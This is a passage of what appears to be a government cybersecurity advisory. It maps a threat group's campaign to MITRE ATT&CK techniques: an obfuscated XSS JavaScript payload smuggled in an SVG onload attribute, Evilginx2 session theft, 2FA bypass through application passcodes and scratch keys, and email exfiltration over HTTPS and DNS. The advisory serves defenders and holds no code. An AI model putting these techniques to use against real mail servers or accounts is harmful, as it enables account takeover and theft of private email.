<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/" target="_blank"><u>T1583</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group used Mullvad VPN to anonymize traffic sent to operational infrastructure. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure: Virtual Private Server </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank"><u>T1583.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group procured VPS servers from a variety of vendors. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank"><u>T1587</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The <em>Ulej</em> capability was developed likely for use by this group to conduct spear phishing campaigns. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Malware </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank"><u>T1587.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel payload that steals a victim’s emails and other sensitive account information. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Exploits </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank"><u>T1587.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel, at the time, cross-site-scripting (XSS) exploit that enables execution of arbitrary JavaScript. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Tool </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank"><u>T1588.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Open source tools, such as Evilginx2, have also been used by the group. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Artificial Intelligence </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank"><u>T1588.007</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group appears to have leveraged AI to support development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stage Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1608/" target="_blank"><u>T1608</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Flowerbed is deployed to a procured server in the cloud. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 11: Initial Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized access to accounts. Additionally, this actor is believed to use previously compromised accounts to conduct spear phishing.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Trusted Relationship </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank"><u>T1199</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group sends malicious payloads to targeted individuals using previously compromised accounts that might have an established relationship with the target.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Phishing </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank"><u>T1566</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The actors used spear phishing to lure users into opening malicious email. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 12: Execution </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exploitation for Client Execution </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank"><u>T1203</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>An XSS vulnerability was leveraged to execute the JavaScript payload. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 13: Persistence </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Manipulation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank"><u>T1098</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Enabling IMAP and Application Passcodes provides persistent access to the compromised account. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 14: Privilege Escalation </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.  </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 15: Stealth </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Command Obfuscation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank"><u>T1027.010</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Encrypted/Encoded File </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank"><u>T1027.013</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: SVG Smuggling </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank"><u>T1027.017</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload was contained in an “onload” attribute within an SVG image included in the malicious email. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Use Alternate Authentication Material: Web Session Cookie </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank"><u>T1550.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 16: Credential Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Adversary-in-the-Middle </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank"><u>T1557</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 17: Collection </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Data Staged: Remote Data Staging </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank"><u>T1074.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank"><u>T1114</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group has emphasized collection of emails. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection: Remote Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank"><u>T1114.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Automated Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1119/" target="_blank"><u>T1119</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Upon execution, the JavaScript payload automatically collects all relevant information in stages. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Browser Session Hijacking </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank"><u>T1185</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Archive Collected Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank"><u>T1560</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are exfiltrated with GZIP compression. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 18: Discovery </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Discovery </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank"><u>T1087</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stolen Global Access Lists provide the group with new users to target. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 19: Exfiltration </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank"><u>T1048</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Victim information was exfiltrated over both HTTPS and DNS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank"><u>T1048.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank"><u>T1048.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<h2><strong>Appendix B: MITRE D3FEND countermeasures </strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table20"><strong>Table 20</strong></a> for a mapping of several of the cybersecurity countermeasures mentioned in this advisory. <a class="ck-anchor"></a></p>
